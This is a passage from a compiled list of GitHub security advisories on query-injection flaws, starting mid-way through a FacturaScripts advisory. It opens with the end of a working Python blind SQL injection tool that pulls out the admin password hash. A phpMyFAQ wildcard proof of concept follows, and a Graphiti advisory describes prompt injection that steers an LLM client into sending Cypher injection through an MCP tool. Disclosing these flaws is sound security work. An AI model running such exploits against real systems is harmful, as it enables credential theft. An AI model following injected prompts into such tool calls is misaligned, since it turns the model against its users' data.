requests.exceptions.ReadTimeout:\n return 10.0\n except:\n pass\n return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n extracted = \"\"\n charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n \n print(f\"[*] Starting extraction for query: {query}\")\n for i in range(1, length + 1):\n found = False\n for char in charset:\n # Added BINARY to force case-sensitive comparison\n payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)=\u0027{char}\u0027,SLEEP(2),nick))\"\n elapsed = time_based_sqli(api_key, payload)\n \n if elapsed \u003e= 2.0:\n extracted += char\n print(f\"[+] Found char at pos {i}: {char} -\u003e {extracted}\")\n found = True\n break\n if not found:\n break\n return extracted\n\ndef main():\n print(\"=\"*60)\n print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n print(\"=\"*60)\n\n # 1. Get API Key dynamically\n api_key = get_api_key()\n if not api_key:\n return\n print(f\"[+] Using API Key: {api_key}\")\n\n # 2. Verify vulnerability\n print(\"[*] Verifying vulnerability...\")\n if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") \u003e= 2.0:\n print(\"[+] System is VULNERABLE!\")\n else:\n print(\"[-] System not vulnerable or API key invalid.\")\n return\n\n # 3. Extract Admin Password Hash\n admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick=\u0027admin\u0027\")\n print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\u003cimg width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" /\u003e\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n - User credentials and API keys\n - Customer PII (personal identifiable information)\n - Financial records and transaction data\n - Business intelligence and pricing information\n - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n $result = \u0027\u0027;\n $coma = \u0027 ORDER BY \u0027;\n\n // Get valid column names from model\n $validColumns = array_keys(static::getModelFields());\n\n foreach ($order as $key =\u003e $value) {\n // Validate column name against whitelist\n if (!in_array($key, $validColumns, true)) {\n throw new \\Exception(\u0027Invalid column name for sorting: \u0027 . $key);\n }\n\n // Validate sort direction (must be ASC or DESC)\n $value = strtoupper(trim($value));\n if (!in_array($value, [\u0027ASC\u0027, \u0027DESC\u0027], true)) {\n throw new \\Exception(\u0027Invalid sort direction: \u0027 . $value);\n }\n\n // Escape column name\n $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n $result .= $coma . $safeColumn . \u0027 \u0027 . $value;\n $coma = \u0027, \u0027;\n }\n\n return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n $result = \u0027\u0027;\n $coma = \u0027 ORDER BY \u0027;\n\n foreach ($order as $key =\u003e $value) {\n // Escape identifiers and validate direction\n $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n $safeDirection = in_array(strtoupper($value), [\u0027ASC\u0027, \u0027DESC\u0027])\n ? strtoupper($value)\n : \u0027ASC\u0027;\n\n $result .= $coma . $safeColumn . \u0027 \u0027 . $safeDirection;\n $coma = \u0027, \u0027;\n }\n\n return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n $query = self::table();\n\n // Apply WHERE conditions\n foreach ($where as $condition) {\n $query-\u003ewhere($condition);\n }\n\n // Apply ORDER BY with validation\n foreach ($order as $column =\u003e $direction) {\n if (!array_key_exists($column, static::getModelFields())) {\n continue; // Skip invalid columns\n }\n $query-\u003eorderBy($column, $direction);\n }\n\n return $query-\u003eoffset($offset)-\u003elimit($limit)-\u003eget();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n \u0027max_sort_fields\u0027 =\u003e 3, // Limit number of sort fields\n \u0027allowed_sort_fields\u0027 =\u003e [\u0027id\u0027, \u0027date\u0027, \u0027name\u0027], // Whitelist\n \u0027default_sort\u0027 =\u003e \u0027id ASC\u0027, // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** \u0141ukasz Rybak",
"id": "GHSA-cjfx-qhwm-hf99",
"modified": "2026-02-04T21:57:11Z",
"published": "2026-02-03T18:14:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25513"
},
{
"type": "WEB",
"url": "https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605"
},
{
"type": "PACKAGE",
"url": "https://github.com/NeoRazorX/facturascripts"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "FacturaScripts has SQL Injection in API ORDER BY Clause"
}
GHSA-CMWH-W62W-R2MF
Vulnerability from github – Published: 2026-06-15 21:30 – Updated: 2026-06-15 21:30In Spring AI Vector Stores, special characters could be used to force the execution of arbitrary queries in Elasticsearch, OpenSearch, and GemFire VectorDB. Affected components: spring-ai-elasticsearch-store, spring-ai-opensearch-store, spring-ai-gemfire-store.
Affected versions: Spring AI 1.0.0 through 1.0.x (fix 1.0.9). Spring AI 1.1.0 through 1.1.x (fix 1.1.8).
{
"affected": [],
"aliases": [
"CVE-2026-47835"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-15T20:16:28Z",
"severity": "HIGH"
},
"details": "In Spring AI Vector Stores, special characters could be used to force the execution of arbitrary queries in Elasticsearch, OpenSearch, and GemFire VectorDB. Affected components: spring-ai-elasticsearch-store, spring-ai-opensearch-store, spring-ai-gemfire-store.\n\nAffected versions:\nSpring AI 1.0.0 through 1.0.x (fix 1.0.9).\nSpring AI 1.1.0 through 1.1.x (fix 1.1.8).",
"id": "GHSA-cmwh-w62w-r2mf",
"modified": "2026-06-15T21:30:39Z",
"published": "2026-06-15T21:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47835"
},
{
"type": "WEB",
"url": "https://spring.io/security/cve-2026-47835"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-CV3H-V6FC-4549
Vulnerability from github – Published: 2025-09-30 18:30 – Updated: 2025-09-30 18:30NVIDIA Delegated Licensing Service for all appliance platforms contains a SQL injection vulnerability where an User/Attacker may cause an authorized action. A successful exploit of this vulnerability may lead to partial denial of service (UI component).
{
"affected": [],
"aliases": [
"CVE-2025-23292"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-30T18:15:49Z",
"severity": "MODERATE"
},
"details": "NVIDIA Delegated Licensing Service for all appliance platforms contains a SQL injection vulnerability where an User/Attacker may cause an authorized action. A successful exploit of this vulnerability may lead to partial denial of service (UI component).",
"id": "GHSA-cv3h-v6fc-4549",
"modified": "2025-09-30T18:30:25Z",
"published": "2025-09-30T18:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23292"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5705"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-23292"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GCP9-5JC8-976X
Vulnerability from github – Published: 2026-04-01 23:41 – Updated: 2026-04-06 23:17Summary
The searchCustomPages() method in phpmyfaq/src/phpMyFAQ/Search.php uses real_escape_string() (via escape()) to sanitize the search term before embedding it in LIKE clauses. However, real_escape_string() does not escape SQL LIKE metacharacters % (match any sequence) and _ (match any single character). An unauthenticated attacker can inject these wildcards into search queries, causing them to match unintended records — including content that was not meant to be surfaced — resulting in information disclosure.
Details
File: phpmyfaq/src/phpMyFAQ/Search.php, lines 226–240
Vulnerable code:
$escapedSearchTerm = $this->configuration->getDb()->escape($searchTerm);
$searchWords = explode(' ', $escapedSearchTerm);
$searchConditions = [];
foreach ($searchWords as $word) {
if (strlen($word) <= 2) {
continue;
}
$searchConditions[] = sprintf(
"(page_title LIKE '%%%s%%' OR content LIKE '%%%s%%')",
$word,
$word
);
}
escape() calls mysqli::real_escape_string(), which escapes characters like ', \, NULL, etc. — but explicitly does not escape % or _, as these are not SQL string delimiters. They are, however, LIKE pattern wildcards.
Attack vector:
A user submits a search term containing _ or % as part of a 3+ character word (to bypass the strlen <= 2 filter). Examples:
- Search for
a_b→ LIKE becomes'%a_b%'→_matches any single character, e.g. matches"aXb","a1b","azb"— broader than the literal stringa_b - Search for
te%t→ LIKE becomes'%te%t%'→ matchestest,text,te12t, etc. - Search for
_%_→ LIKE becomes'%_%_%'→ matches any record with at least one character, effectively dumping all custom pages
This allows an attacker to retrieve custom page content that would not appear in normal exact searches, bypassing intended search scope restrictions.
PoC
- Navigate to the phpMyFAQ search page (accessible to unauthenticated users by default).
- Submit a search query:
_%_(underscore, percent, underscore — length 3, bypasses the<= 2filter). - The backend executes:
WHERE (page_title LIKE '%_%_%' OR content LIKE '%_%_%') - This matches all custom pages with at least one character in title or content — returning content that would not appear for a specific search term.
Impact
- Authentication required: None — search is publicly accessible
- Affected component:
searchCustomPages()inSearch.php; custom pages (faqcustompages table) - Impact: Unauthenticated users can enumerate/disclose all custom page content regardless of the intended search term filter
- Fix: Escape
%and_in LIKE search terms before interpolation:php $word = str_replace(['\\', '%', '_'], ['\\\\', '\\%', '\\_'], $word);Or use parameterized queries with properly escaped LIKE values.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34973"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:41:49Z",
"nvd_published_at": "2026-04-02T15:16:51Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe `searchCustomPages()` method in `phpmyfaq/src/phpMyFAQ/Search.php` uses `real_escape_string()` (via `escape()`) to sanitize the search term before embedding it in LIKE clauses. However, `real_escape_string()` does **not** escape SQL LIKE metacharacters `%` (match any sequence) and `_` (match any single character). An unauthenticated attacker can inject these wildcards into search queries, causing them to match unintended records \u2014 including content that was not meant to be surfaced \u2014 resulting in information disclosure.\n\n### Details\n\n**File:** `phpmyfaq/src/phpMyFAQ/Search.php`, lines 226\u2013240\n\n**Vulnerable code:**\n```php\n$escapedSearchTerm = $this-\u003econfiguration-\u003egetDb()-\u003eescape($searchTerm);\n$searchWords = explode(\u0027 \u0027, $escapedSearchTerm);\n$searchConditions = [];\n\nforeach ($searchWords as $word) {\n if (strlen($word) \u003c= 2) {\n continue;\n }\n $searchConditions[] = sprintf(\n \"(page_title LIKE \u0027%%%s%%\u0027 OR content LIKE \u0027%%%s%%\u0027)\",\n $word,\n $word\n );\n}\n```\n\n`escape()` calls `mysqli::real_escape_string()`, which escapes characters like `\u0027`, `\\`, `NULL`, etc. \u2014 but explicitly does **not** escape `%` or `_`, as these are not SQL string delimiters. They are, however, LIKE pattern wildcards.\n\n**Attack vector:**\n\nA user submits a search term containing `_` or `%` as part of a 3+ character word (to bypass the `strlen \u003c= 2` filter). Examples:\n\n- Search for `a_b` \u2192 LIKE becomes `\u0027%a_b%\u0027` \u2192 `_` matches any single character, e.g. matches `\"aXb\"`, `\"a1b\"`, `\"azb\"` \u2014 broader than the literal string `a_b`\n- Search for `te%t` \u2192 LIKE becomes `\u0027%te%t%\u0027` \u2192 matches `test`, `text`, `te12t`, etc.\n- Search for `_%_` \u2192 LIKE becomes `\u0027%_%_%\u0027` \u2192 matches any record with at least one character, effectively dumping all custom pages\n\nThis allows an attacker to retrieve custom page content that would not appear in normal exact searches, bypassing intended search scope restrictions.\n\n### PoC\n\n1. Navigate to the phpMyFAQ search page (accessible to unauthenticated users by default).\n2. Submit a search query: `_%_` (underscore, percent, underscore \u2014 length 3, bypasses the `\u003c= 2` filter).\n3. The backend executes: `WHERE (page_title LIKE \u0027%_%_%\u0027 OR content LIKE \u0027%_%_%\u0027)`\n4. This matches **all** custom pages with at least one character in title or content \u2014 returning content that would not appear for a specific search term.\n\n### Impact\n\n- **Authentication required:** None \u2014 search is publicly accessible\n- **Affected component:** `searchCustomPages()` in `Search.php`; custom pages (faqcustompages table)\n- **Impact:** Unauthenticated users can enumerate/disclose all custom page content regardless of the intended search term filter\n- **Fix:** Escape `%` and `_` in LIKE search terms before interpolation:\n ```php\n $word = str_replace([\u0027\\\\\u0027, \u0027%\u0027, \u0027_\u0027], [\u0027\\\\\\\\\u0027, \u0027\\\\%\u0027, \u0027\\\\_\u0027], $word);\n ```\n Or use parameterized queries with properly escaped LIKE values.",
"id": "GHSA-gcp9-5jc8-976x",
"modified": "2026-04-06T23:17:56Z",
"published": "2026-04-01T23:41:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-gcp9-5jc8-976x"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34973"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "phpMyFAQ has a LIKE Wildcard Injection in Search.php \u2014 Unescaped % and _ Metacharacters Enable Broad Content Disclosure"
}
GHSA-GG5M-55JJ-8M5G
Vulnerability from github – Published: 2026-03-12 17:26 – Updated: 2026-03-13 13:36Summary
Graphiti versions before 0.28.2 contained a Cypher injection vulnerability in shared search-filter construction for non-Kuzu backends. Attacker-controlled label values supplied through SearchFilters.node_labels were concatenated directly into Cypher label expressions without validation.
In MCP deployments, this was exploitable not only through direct untrusted access to the Graphiti MCP server, but also through prompt injection against an LLM client that could be induced to call search_nodes with attacker-controlled entity_types values. The MCP server mapped entity_types to SearchFilters.node_labels, which then reached the vulnerable Cypher construction path.
Affected backends included Neo4j, FalkorDB, and Neptune. Kuzu was not affected by the label-injection issue because it used parameterized label handling rather than string-interpolated Cypher labels.
This issue was mitigated in 0.28.2.
Affected Versions
0.28.1and earlier
Fixed Version
0.28.2
Affected Components
- Graphiti Core search filter construction
- Graphiti MCP Server
search_nodeswhen used by an LLM client processing untrusted prompts
Technical Details
Before 0.28.2, Graphiti joined SearchFilters.node_labels with | and inserted the result directly into Cypher label expressions in the shared search-filter constructors used by non-Kuzu providers.
The vulnerable logic was effectively:
node_labels = '|'.join(filters.node_labels)node_label_filter = 'n:' + node_labels
The same pattern was also used in edge-search filter construction.
In MCP deployments, search_nodes accepted an entity_types argument and passed it directly to SearchFilters(node_labels=entity_types). An attacker who could influence prompts processed by an LLM client with Graphiti MCP access could use prompt injection to steer the model into invoking search_nodes with crafted entity_types values containing Cypher syntax. Those values would then be interpolated into Cypher before 0.28.2.
Impact
Successful exploitation could allow arbitrary Cypher execution within the privileges of the configured graph database connection, including:
- reading graph data outside the intended search scope
- modifying graph data
- deleting graph data
- bypassing logical group isolation enforced at the query layer
Additional Note on group_ids
Separately, the original report also identified a narrower issue in fulltext search query construction for unvalidated group_ids. That issue was distinct from the Cypher label-injection path described above and was also mitigated in 0.28.2.
Mitigation
Upgrade to 0.28.2 or later.
Version 0.28.2 added:
- validation of
SearchFilters.node_labels - defense-in-depth label validation in shared search-filter constructors
- validation of entity node labels in persistence query builders
- validation of
group_idsin shared search fulltext helpers
Workarounds
If you cannot upgrade immediately:
- do not expose Graphiti MCP tools to untrusted users or to LLM workflows that process untrusted prompt content
- avoid passing untrusted values into
SearchFilters.node_labelsor MCPentity_types - restrict graph database credentials to the minimum privileges required
Credits
@4n93L for their original report.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.28.1"
},
"package": {
"ecosystem": "PyPI",
"name": "graphiti-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.28.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32247"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-12T17:26:16Z",
"nvd_published_at": "2026-03-12T19:16:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\nGraphiti versions before `0.28.2` contained a Cypher injection vulnerability in shared search-filter construction for non-Kuzu backends. Attacker-controlled label values supplied through `SearchFilters.node_labels` were concatenated directly into Cypher label expressions without validation.\n\nIn MCP deployments, this was exploitable not only through direct untrusted access to the Graphiti MCP server, but also through prompt injection against an LLM client that could be induced to call `search_nodes` with attacker-controlled `entity_types` values. The MCP server mapped `entity_types` to `SearchFilters.node_labels`, which then reached the vulnerable Cypher construction path.\n\nAffected backends included Neo4j, FalkorDB, and Neptune. Kuzu was not affected by the label-injection issue because it used parameterized label handling rather than string-interpolated Cypher labels.\n\nThis issue was mitigated in `0.28.2`.\n\n### Affected Versions\n\n- `0.28.1` and earlier\n\n### Fixed Version\n\n- `0.28.2`\n\n### Affected Components\n\n- Graphiti Core search filter construction\n- Graphiti MCP Server `search_nodes` when used by an LLM client processing untrusted prompts\n\n### Technical Details\n\nBefore `0.28.2`, Graphiti joined `SearchFilters.node_labels` with `|` and inserted the result directly into Cypher label expressions in the shared search-filter constructors used by non-Kuzu providers.\n\nThe vulnerable logic was effectively:\n\n- `node_labels = \u0027|\u0027.join(filters.node_labels)`\n- `node_label_filter = \u0027n:\u0027 + node_labels`\n\nThe same pattern was also used in edge-search filter construction.\n\nIn MCP deployments, `search_nodes` accepted an `entity_types` argument and passed it directly to `SearchFilters(node_labels=entity_types)`. An attacker who could influence prompts processed by an LLM client with Graphiti MCP access could use prompt injection to steer the model into invoking `search_nodes` with crafted `entity_types` values containing Cypher syntax. Those values would then be interpolated into Cypher before `0.28.2`.\n\n### Impact\n\nSuccessful exploitation could allow arbitrary Cypher execution within the privileges of the configured graph database connection, including:\n\n- reading graph data outside the intended search scope\n- modifying graph data\n- deleting graph data\n- bypassing logical group isolation enforced at the query layer\n\n### Additional Note on `group_ids`\n\nSeparately, the original report also identified a narrower issue in fulltext search query construction for unvalidated `group_ids`. That issue was distinct from the Cypher label-injection path described above and was also mitigated in `0.28.2`.\n\n### Mitigation\n\nUpgrade to `0.28.2` or later.\n\nVersion `0.28.2` added:\n\n- validation of `SearchFilters.node_labels`\n- defense-in-depth label validation in shared search-filter constructors\n- validation of entity node labels in persistence query builders\n- validation of `group_ids` in shared search fulltext helpers\n\n### Workarounds\n\nIf you cannot upgrade immediately:\n\n- do not expose Graphiti MCP tools to untrusted users or to LLM workflows that process untrusted prompt content\n- avoid passing untrusted values into `SearchFilters.node_labels` or MCP `entity_types`\n- restrict graph database credentials to the minimum privileges required\n\n### Credits\n\n@4n93L for their original report.",
"id": "GHSA-gg5m-55jj-8m5g",
"modified": "2026-03-13T13:36:04Z",
"published": "2026-03-12T17:26:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getzep/graphiti/security/advisories/GHSA-gg5m-55jj-8m5g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32247"
},
{
"type": "WEB",
"url": "https://github.com/getzep/graphiti/pull/1312"
},
{
"type": "WEB",
"url": "https://github.com/getzep/graphiti/commit/7d65d5e77e89a199a62d737634eaa26dbb04d037"
},
{
"type": "PACKAGE",
"url": "https://github.com/getzep/graphiti"
},
{
"type": "WEB",
"url": "https://github.com/getzep/graphiti/releases/tag/v0.28.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Graphiti vulnerable to Cypher Injection via unsanitized node_labels in search filters"
}
GHSA-GPV6-M7FJ-WR5V
Vulnerability from github – Published: 2025-11-11 03:30 – Updated: 2025-11-11 03:30SAP NetWeaver Enterprise Portal allows an unauthenticated attacker to inject JNDI environment properties or pass a URL used during JNDI lookup operations, enabling access to an unintended JNDI provider.�This could further lead to disclosure or modification of information about the server. There is no impact on availability.
{
"affected": [],
"aliases": [
"CVE-2025-42884"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-11T01:15:36Z",
"severity": "MODERATE"
},
"details": "SAP NetWeaver Enterprise Portal allows an unauthenticated attacker to inject JNDI environment properties or pass a URL used during JNDI lookup operations, enabling access to an unintended JNDI provider.\ufffdThis could further lead to disclosure or modification of information about the server. There is no impact on availability.",
"id": "GHSA-gpv6-m7fj-wr5v",
"modified": "2025-11-11T03:30:28Z",
"published": "2025-11-11T03:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-42884"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3660969"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-676: NoSQL Injection
An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.